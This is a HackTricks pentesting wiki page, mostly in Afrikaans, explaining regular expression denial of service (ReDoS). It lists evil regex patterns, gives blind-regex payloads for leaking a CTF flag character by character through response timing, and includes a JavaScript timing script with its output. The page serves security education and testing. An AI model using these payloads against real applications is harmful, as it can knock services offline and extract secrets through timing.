hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

# Regular expression Denial of Service - ReDoS

{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

# Regular Expression Denial of Service (ReDoS)

'n **Regular Expression Denial of Service (ReDoS)** gebeur wanneer iemand voordeel trek uit swakhede in hoe regular expressions (n manier om patrone in teks te soek en te pas) werk. Soms, wanneer regular expressions gebruik word, kan hulle baie stadig raak, veral as die stuk teks waarmee hulle werk groter word. Hierdie traagheid kan so erg raak dat dit regtig vinnig groei met selfs klein verhogings in die teksgrootte. Aanvallers kan hierdie probleem gebruik om 'n program wat regular expressions gebruik, te laat ophou om behoorlik te werk vir 'n lang tyd.

## The Problematic Regex Naïve Algorithm

**Kyk na die besonderhede in [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**

## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>

'n Boosaardige regular expression patroon is daardie een wat kan **vastloop op vervaardigde invoer wat 'n DoS veroorsaak**. Boosaardige regex patrone bevat tipies groepering met herhaling en herhaling of alternasie met oorvleueling binne die herhaalde groep. Sommige voorbeelde van boosaardige patrone sluit in:

* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} vir x > 10

Al hierdie is kwesbaar vir die invoer `aaaaaaaaaaaaaaaaaaaaaaaa!`.

## ReDoS Payloads

### String Exfiltration via ReDoS

In 'n CTF (of bug bounty) mag jy **die Regex beheer waar 'n sensitiewe inligting (die vlag) mee ooreengestem word**. Dan kan dit nuttig wees om die **bladsy te laat vries (timeout of langer verwerkingstyd)** as die **Regex ooreengestem het** en **nie as dit nie gedoen het nie**. Op hierdie manier sal jy in staat wees om die string **karakter vir karakter** te **exfiltreer**:

* In [**hierdie pos**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) kan jy hierdie ReDoS reël vind: `^(?=<flag>)((.*)*)*salt$`
* Voorbeeld: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* In [**hierdie skrywe**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) kan jy hierdie een vind:`<flag>(((((((.*)*)*)*)*)*)*)!`
* In [**hierdie skrywe**](https://ctftime.org/writeup/25869) het hy gebruik: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`

### ReDoS Controlling Input and Regex

Die volgende is **ReDoS** voorbeelde waar jy **beide** die **invoer** en die **regex** **beheer**:
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Tools

* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)

## References
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)

{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}